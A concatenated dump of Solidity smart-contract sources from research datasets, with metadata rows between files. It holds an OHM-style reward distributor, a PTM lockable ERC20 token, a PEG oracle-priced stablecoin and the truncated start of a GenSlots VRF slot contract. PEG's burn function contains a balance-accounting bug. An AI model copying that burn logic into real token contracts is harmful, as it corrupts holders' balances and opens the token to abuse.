// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 125,126 | 10,539 |
669fbca1041dd40634b5d5e1f5ec4ee2ec3812dfca204725b0d3d628d38c64d0
| 12,387 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x6a373436bc657249021da8c329594de2f14dc5f6.sol
| 3,369 | 12,108 |
pragma solidity ^0.4.25;
library SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
interface ERC20Token {
function name() external view returns (string name_);
function symbol() external view returns (string symbol_);
function decimals() external view returns (uint8 decimals_);
function totalSupply() external view returns (uint256 totalSupply_);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract PTM is Owned, ERC20Token {
using SafeMath for uint256;
string private constant standard = "201810";
string private constant version = "5.0";
string private name_ = "platment";
string private symbol_ = "PTM";
uint8 private decimals_ = 18;
uint256 private totalSupply_ = uint256(10)**uint256(10) * uint256(10)**uint256(decimals_);
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
event Burn(address indexed _from, uint256 _value);
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
constructor() public {
balanceP[msg.sender] = totalSupply_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = earlier.add(_earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = later.add(_later);
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function decimals() public view returns (uint8) {
return decimals_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) >= lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) < lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = lockTime[_address][i].add(later).sub(earlier);
i++;
}
return tempLockTime;
}
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (now.add(earlier) >= currentLockTime[i].add(later)) {
balanceP[_address] = balanceP[_address].add(currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = balanceP[msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && allowed[_from][msg.sender] >= totalValue);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = balanceP[_from].sub(_value[i]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(_from, _to, _time[i], _value[i]);
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balanceP[_from] = balanceP[_from].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= allowed[msg.sender][_spender]) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
| 167,299 | 10,540 |
f1f5467e49dae6c01d1db4bfb24b8d7e4d93e51d7d00c9fde298155122e2d1eb
| 16,402 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x0f1d2925c2840f3d15cb6bd1a1f75e1d5de41d90.sol
| 3,304 | 15,162 |
pragma solidity ^0.5.10;
// ----------------------------------------------------------------------------
// PEG Stable Coin
//
// Symbol : PEG
// Name : PEG Stable Coin
// Decimals : 18
//
// (c) Ciarn hAolin, Phil Maguire 2019. The MIT License.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
interface ERC20Interface {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes calldata data) external;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// DAI Medianiser Interface
// ----------------------------------------------------------------------------
interface MedianiserInterface {
function peek() external view returns (bytes32, bool);
}
// ----------------------------------------------------------------------------
/// @title PEG Stable Coin
/// @author Ciarn hAolin
/// @notice This is the contract for the PEG Stable Coin
/// @dev Defines an ERC20 token which manages the PEG token and its ETH pool
// ----------------------------------------------------------------------------
contract PEG is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint256 lastPriceAdjustment;
uint256 timeBetweenPriceAdjustments;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
MedianiserInterface medianiser;
event Burn(address indexed tokenOwner, uint256 tokens);
event gotPEG(address indexed caller, uint256 amountGivenEther, uint256 amountReceivedPEG);
event gotEther(address indexed caller, uint256 amountGivenPEG, uint256 amountReceivedEther);
event Inflate(uint256 previousPoolSize, uint256 amountMinted);
event Deflate(uint256 previousPoolSize, uint256 amountBurned);
event NoAdjustment();
event FailedAdjustment();
/// @notice This creates the PEG Stable Coin and creates PEG tokens for the pool
/// @dev Contract constructor which accepts no parameters
constructor() payable public {
symbol = "PEG";
name = "PEG Stablecoin";
decimals = 18;
lastPriceAdjustment = now;
timeBetweenPriceAdjustments = 60*60;
medianiser = MedianiserInterface(0x729D19f657BD0614b4985Cf1D82531c67569197B);
uint256 feedPrice;
bool priceIsValid;
(feedPrice, priceIsValid) = getPriceETH_USD();
require(priceIsValid);
_totalSupply = feedPrice.mul(address(this).balance).div(10**uint(decimals));
balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
// ------------------------------------------------------------------------
/// @notice Get the current total supply of PEG tokens
/// @dev Get the current total supply of PEG tokens
/// @return total supply of PEG tokens
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
/// @notice Get the PEG balance of a given address
/// @dev Get the PEG balance of a given address
/// @param tokenOwner The address to find the PEG balance of
/// @return PEG balance of tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
/// @param to Address to send tokens to
/// @param tokens Quantity of tokens to send
/// @return true if transfer is successful
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
require(to != address(0));
if (to == address(this)) getEther(tokens);
else {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
}
return true;
}
// ------------------------------------------------------------------------
/// @notice Burn PEG Tokens
/// @dev Burn PEG Tokens
/// @param tokens Quantity of tokens to burn
/// @return true if burn is successful
// ------------------------------------------------------------------------
function burn(uint256 tokens) public returns (bool success) {
_totalSupply = _totalSupply.sub(tokens);
balances[msg.sender] -= balances[msg.sender].sub(tokens);
emit Burn(msg.sender, tokens);
return true;
}
// ------------------------------------------------------------------------
/// @param spender Address to authorise to spend tokens on your behalf
/// @param tokens Quantity of tokens to authorise for spending
/// @return true if approval is successful
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
/// @param from Address to transfer tokens from
/// @param to Address tokens will be transferred to
/// @param tokens Quantity of tokens to transfer (must be approvedd by `to` address)
/// @return true if approval is successful
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
/// @notice Get the amount of tokens approved by an address `tokenOwner` for use by `spender`
/// @dev Get the amount of tokens approved by an address `tokenOwner` for use by `spender`
/// @param tokenOwner The address owner whose tokens we want to verify approval for
/// @param spender The address of the potentially approved spender
/// @return the amount of PEG `spender` is approved to transfer on behalf of `tokenOwner`
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint256 allowancePEG) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
/// @param spender The contract address to be approved
/// @param tokens The number of tokens the caller is approving for `spender` to use
/// @param data The function call data provided to `spender.receiveApproval()`
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint256 tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH through the fallback function, since we need gas!
// ------------------------------------------------------------------------
function () external payable {
getPEG();
}
modifier canTriggerPriceAdjustment {
_;
if (now >= lastPriceAdjustment + timeBetweenPriceAdjustments) priceFeedAdjustment();
}
function getNextPriceAdjustmentTime() public view returns (uint256 nextPriceAdjustmentTime) {
if (now >= lastPriceAdjustment + timeBetweenPriceAdjustments) return 0;
else return lastPriceAdjustment + timeBetweenPriceAdjustments - now;
}
function getPEG() public payable canTriggerPriceAdjustment returns (bool success, uint256 amountReceivedPEG) {
amountReceivedPEG = balances[address(this)].mul(msg.value.mul(10**5).div(address(this).balance)).div(10**5);
balances[address(this)] = balances[address(this)].sub(amountReceivedPEG);
balances[msg.sender] = balances[msg.sender].add(amountReceivedPEG);
emit gotPEG(msg.sender, msg.value, amountReceivedPEG);
emit Transfer(address(this), msg.sender, amountReceivedPEG);
return (true, amountReceivedPEG);
}
function getEther(uint256 amountGivenPEG) public canTriggerPriceAdjustment returns (bool success, uint256 amountReceivedEther) {
amountReceivedEther = address(this).balance.mul(amountGivenPEG.mul(10**5).div(balanceOf(address(this)).add(amountGivenPEG))).div(10**5);
balances[address(this)] = balances[address(this)].add(amountGivenPEG);
balances[msg.sender] = balances[msg.sender].sub(amountGivenPEG);
emit gotEther(msg.sender, amountGivenPEG, amountReceivedEther);
emit Transfer(msg.sender, address(this), amountGivenPEG);
msg.sender.transfer(amountReceivedEther);
return (true, amountReceivedEther);
}
function getPoolBalances() public view returns (uint256 balanceETH, uint256 balancePEG) {
return (address(this).balance, balanceOf(address(this)));
}
function inflateEtherPool() public payable returns (bool success) {
return true;
}
function getPriceETH_USD() public view returns (uint256 priceETH_USD, bool priceIsValid) {
bytes32 price;
(price, priceIsValid) = medianiser.peek();
return (uint(price), priceIsValid);
}
function priceFeedAdjustment() private returns (uint256 newRatePEG) {
uint256 feedPrice;
bool priceIsValid;
(feedPrice, priceIsValid) = getPriceETH_USD();
if (!priceIsValid) {
newRatePEG = balances[address(this)];
lastPriceAdjustment = now;
emit FailedAdjustment();
return (newRatePEG);
}
feedPrice = feedPrice.mul(address(this).balance).div(10**uint(decimals));
if (feedPrice > balances[address(this)]) {
uint256 posDelta = feedPrice.sub(balances[address(this)]).div(10);
newRatePEG = balances[address(this)].add(posDelta);
emit Inflate(balances[address(this)], posDelta);
emit Transfer(address(0), address(this), posDelta);
balances[address(this)] = newRatePEG;
_totalSupply = _totalSupply.add(posDelta);
} else if (feedPrice < balances[address(this)]) {
uint256 negDelta = balances[address(this)].sub(feedPrice).div(10);
newRatePEG = balances[address(this)].sub(negDelta);
emit Deflate(balances[address(this)], negDelta);
emit Transfer(address(this), address(0), negDelta);
balances[address(this)] = newRatePEG;
_totalSupply = _totalSupply.sub(negDelta);
} else {
newRatePEG = balances[address(this)];
emit NoAdjustment();
}
lastPriceAdjustment = now;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function dumpContractCode() public view returns (bytes memory o_code) {
address _addr = address(this);
assembly {
let size := extcodesize(_addr)
o_code := mload(0x40)
mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(o_code, size)
extcodecopy(_addr, add(o_code, 0x20), 0, size)
}
}
}
| 339,141 | 10,541 |
06e6e2e5af465d712c6b01573ac0989d1a871ab30cdfb48496227a1f48e74616
| 31,346 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/ea/ea57e440994dfd1a2874e81c17c405248c7ee838_GenSlots.sol
| 6,071 | 22,681 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract VRFConsumerBaseV2 {
error OnlyCoordinatorCanFulfill(address have, address want);
address private immutable vrfCoordinator;
constructor(address _vrfCoordinator) {
vrfCoordinator = _vrfCoordinator;
}
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal
virtual;
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomWords(uint256 requestId,
uint256[] memory randomWords) external {
if (msg.sender != vrfCoordinator) {
revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator);
}
fulfillRandomWords(requestId, randomWords);
}
}
interface VRFCoordinatorV2Interface {
function getRequestConfig()
external
view
returns (uint16,
uint32,
bytes32[] memory);
function requestRandomWords(bytes32 keyHash,
uint64 subId,
uint16 minimumRequestConfirmations,
uint32 callbackGasLimit,
uint32 numWords) external returns (uint256 requestId);
function createSubscription() external returns (uint64 subId);
function getSubscription(uint64 subId)
external
view
returns (uint96 balance,
uint64 reqCount,
address owner,
address[] memory consumers);
function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner)
external;
function acceptSubscriptionOwnerTransfer(uint64 subId) external;
function addConsumer(uint64 subId, address consumer) external;
function removeConsumer(uint64 subId, address consumer) external;
function cancelSubscription(uint64 subId, address to) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// IUniswapV2Router01.sol
interface IUniswapV2Router01 {
function WETH() external pure returns (address);
}
// ICamelotRouter.sol
interface ICamelotRouter is IUniswapV2Router01 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
address referrer,
uint256 deadline) external payable;
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract GenSlots is VRFConsumerBaseV2 {
VRFCoordinatorV2Interface COORDINATOR;
// VRF settings
uint64 s_subscriptionId;
address vrfCoordinator = 0x6D80646bEAdd07cE68cab36c27c626790bBcf17f;
// The gas lane to use, which specifies the maximum gas price to bump to.
// For a list of available gas lanes on each network,
// see https://docs.chain.link/docs/vrf-contracts/#configurations
bytes32 public keyHash =
0x83d1b6e3388bed3d76426974512bb0d270e9542a765cd667242ea26c0cc0b730;
// Depends on the number of requested values that you want sent to the
// fulfillRandomWords() function. Storing each word costs about 20,000 gas,
// so 100,000 is a safe default for this example contract. Test and adjust
// this limit based on the network that you select, the size of the request,
// and the processing of the callback request in the fulfillRandomWords()
// function.
uint32 public callbackGasLimit = 250000; //100k for mainnet
// The default is 3, but you can set this higher.
uint16 public requestConfirmations = 3;
// Number of random numbers
uint32 numWords = 1;
event Spin(address indexed roller,
uint256 indexed round,
uint8[3] symbols,
uint256 payout,
bool isFreeSpin);
ICamelotRouter camelotRouter;
address public owner;
uint256 public idsFulfilled;
mapping(address => uint256[]) private roundsPlayed;
Roll[] public rolls; // Array of all rolls in order
